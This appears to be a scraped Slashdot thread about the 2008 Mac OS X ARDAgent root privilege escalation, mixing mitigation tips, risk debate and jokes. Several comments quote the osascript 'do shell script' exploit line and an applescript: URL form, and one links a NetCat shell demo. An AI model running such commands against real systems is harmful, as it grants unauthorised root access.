    Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.

    Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.

    Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.

    "Any message that starts with: 'ACL found but not expected on...'."
    Products Affected

    Mac OS X 10.5
    Resolution

    You can safely ignore these messages. They are accurate but not a cause for concern.

    --
    We recently had heard in the office over one of the Yellow Machine that's made by Anthology Solutions.
    1. Re:Apple's Knowledge Base reports this is 'safe' by minimis · · Score: 2, Insightful

      That forum thread and knowledge base article aren't connected to this issue at all, except that both involve ARDAgent.

      The claim "Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program" is just nonsense.

  42. Re:Local exploit, snuh! by JustCallMeRich · · Score: 2, Insightful

    #1 - We probably have 5-6 Apple XServes and will grow that to around 12-15. But there are hundreds of WinTel servers corporate wide.

    #2 - We are in the midst of standardizing the Macs to corporate standards. They are around 10% - 20% of each site, but they never really had any centralized management until I came on board. Getting a standard build and removing admin rights was one of the first things I got corporate to agree to. The users really love installing their own stuff (like p2p clients, DVD ripping apps, different versions of apps) or changing things in order to 'fix' things like a down server. They complain that they don't have the ability to break their own machines anymore, but the calls for service have gone waaaay down, and their ability to interact with the corporate network, services, and their PC peers have gone waaay up. Just in numbers we have about 600 Mac users in the US, and maybe another 100 in Europe and Asia.

    Most of the companies that have been acquired that had Macs, had an outside contractor come in about once a month to do maintenance, bug fixes, etc. Now they complain that it takes a couple of hours to install their scanner driver. I also had another group that used to install their own software complain to me that they all had different versions of the applications. So I removed their admin rights and put them all on the same version. Now they complain that they can't install software one at a time - which would get them back to different versions of the programs.....

    The biggest secret to managing Macs is that it's really an easier job than managing PC's (IMHO), but the PC techs think it is harder. The trick is to take away admin rights and use a standard, tested build that is set up by someone who knows what they are doing. Pretty much the same rule as on the PC.

    That said - and to get back on topic - ARD (http://www.apple.com/remotedesktop/Apple Remote Desktop) is an invaluable tool and one of the requirements for me taking the job. Looks like the latest version of the ARD client may fix this problem. But if users are turning off the ARD client - how can I push the new, fixed client out to them?

    --
    http://Communityville.com - A free place for new and old neighborhood webmasters to hang out.
  43. I tried it - didn't work for me by userw014 · · Score: 2, Informative

    I tried it and got:

    execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)

    This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.

    Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)

  44. Re:Oh good by profplump · · Score: 2

    No, but physical access == need additional security regardless of OS security.

    This bug is nothing to scoff at, but it does really only affect people who have untrusted users with local/pseudo-local access to machines, and that group already has increased security concerns regardless of bug like this.

  45. Re:Can we get some sources? by Whiney+Mac+Fanboy · · Score: 2, Insightful

    It's only trivially replicated if you have access to a mac. Most of us here probably don't.

    1) If you don't have a mac, why do you care about the exploit?

    2) If you care that much, but don't have access to Apple hardware, run OS X in virtual machine.

    --
    There are shills on slashdot. Apparently, I'm one of them.
  46. I'm a Mac. And I'm a PC by patio11 · · Score: 4, Funny

    Mac: Oh %$#& %$#& %$#& %$#&.

    PC: I can relate.

    Mac: No!! %$#& %$#& %$#&

    PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.

    Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.

    PC: You know, they can do wonderful things these days with firewall software.

    Mac: I want to cut myself.

    PC: Not a good idea as a root user, Mac.

    Mac: *glowers*

    PC: I only kid because I love you.

  47. Fix using Info.plist by jediknil · · Score: 5, Informative

    This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)

    <key>NSAppleScriptEnabled</key>
    <string>YES</string>

    That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.

    P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.

    1. Re:Fix using Info.plist by mzs · · Score: 3, Informative

      Hmm, this works for me and is persistent across runs. Do this as an admin user:

      $ sudo defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES
      $ sudo plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist
      $ sudo chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist

      The NSAppleScriptEnabled seems to force the use of the standard applescript dictionary which lacks the "do shell script" action. This is what you get when you try again:

      $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
      23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
      $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
      23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

  48. NetCat + ARDAgent escalation video posted by bitshark · · Score: 2, Informative

    I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/

  49. Re:This is a serious privilege escalation bug, but by mabinogi · · Score: 3, Insightful

    KDE opens a dialog and asks you if you want the CD to be mounted

    I call those "Should I do something stupid" dialogs. Just out of interest, under which circumstances do you _not_ want a data CD to be mounted when you insert it in your drive?

    Your average optical drive is rather expensive to use as a CD case you know.

    --
    Advanced users are users too!
  50. My mistake by Macka · · Score: 4, Informative
    Ah, now I understand what you meant. I just SSH'd into a headless Mac Mini I have and tried it. It kicks out the message:

    pebbles: ~ $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
    _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
    Then after a timeout delay it returns with an error:

    23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)

    So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.

    So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!

  51. Even better question by Moraelin · · Score: 2, Insightful

    My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?

    Yes, maybe a home computer doesn't have more people logging in. But:

    - Workstations at work have lots of people who can log into them. If I come really early or stay late, I can go to any workstation (and a few laptops) in the building and log in with my own account. If it's possible to escalate your rights from there, I could get access to everyone's local and temporary files. Go see what the department boss is doing. Go see with which suppliers do the purchasing guys deal. I'm sure their competitors will love knowing what kind of discount they could negotiate and still steal that contract. Walk to the other building and get the CAD guys' designs.

    Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.

    - Servers even more so. There are servers where hundreds of people can log in. If you can escalate your rights to root, you can get to their files. Or you can install some rootkit on the bloody server. Or even one disgruntled L1 support guy about to quit can escalate his rights, reconfigure the backups, and do a "rm -rf /". Etc.

    So basically not arguing with your point, but even _if_ the answer were "OMG, you need to be physically at that computer" or "OMG you'd need to be logged in anyway", it still wouldn't be much of a saving grace. There _are_ more uses for computers than as someone's email and surfing rig at home.

    --
    A polar bear is a cartesian bear after a coordinate transform.
    1. Re:Even better question by TrekkieGod · · Score: 3, Insightful

      My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?...Workstations at work have lots of people who can log into them...Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.

      The reason that requiring physical access is seen as no big deal is because all that stuff you're worried about is something I can do without the need of any exploits.

      Got a machine with literally any operating system? All I need is to reboot the computer with a linux live cd (or usb thumb drive) and I get read / write access to everywhere. From there I can plant trojans, read your files, do whatever.

      Got a Linux machine? I can reboot and use grub to boot into single-user mode. There you go, I'm root. I can do all the of the above again.

      The only way to have any security at the physical level is with encryption. And when we see encryption exploits, we do get hyped up about it. Even with encryption, more security measures still need to be taken at the physical level. A physical keylogger between the keyboard and computer could be installed to discover typed passwords, etc.

      That said, an exploit is an exploit, and it should be treated as such. Physical-access only just means there's less to worry about.

      --

      Warning: Opinions known to be heavily biased.

  52. Re:Can we get some sources? by Anonymous Coward · · Score: 2, Funny

    +++ doesn't precede NO CARRIER like that. It's for switching your terminal mode to issue AT commands directly to the modem. For example if you type +++ATH^æéWÔ5áX6Ë\SSÎh@'ÖØ

    NO CARRIER

  53. Re:This is a serious privilege escalation bug, but by hobbit · · Score: 2, Interesting

    Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog that it's impossible to prevent Apple's installer popping up even if you, the developer, only want to install things in ~/Library rather than /Library.

    Thanks, Apple, for training your users these last 8 years to type their admin password at the drop of a hat.

    --
    "Wise men talk because they have something to say; fools, because they have to say something" - Plato
  54. Re:Root via OS X install DVD by Ilgaz · · Score: 2, Informative

    Not saying to devalidate your post (which is true) but for the concerned, Apple Open Firmware/EFI Password can be enabled by following instructions at http://support.apple.com/kb/HT1352 . If I had a laptop instead of desktop, I would enable it directly.

    Blocks the ability to use the "C" key to start up from an optical disc.
    Blocks the ability to use the "N" key to start up from a NetBoot server.
    Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
    Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
    Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
    Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
    Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
    Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
    Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.

    (Similar stuff on Intel)

  55. Re:Oh good by Sentry21 · · Score: 2, Funny

    Oh! A sarcasm detector! THAT'S useful.

  56. You don't need physical access. by argent · · Score: 2, Informative
    You just need the ability to execute applescript on the machine.

    It's not quite as easy as passing in an "applescript:" URL, at least...

    An external application must be launched to handle applescript: links.

    Requested link:

    applescript:do%20shell%20script%20%22whoami%22

    Application: Script Editor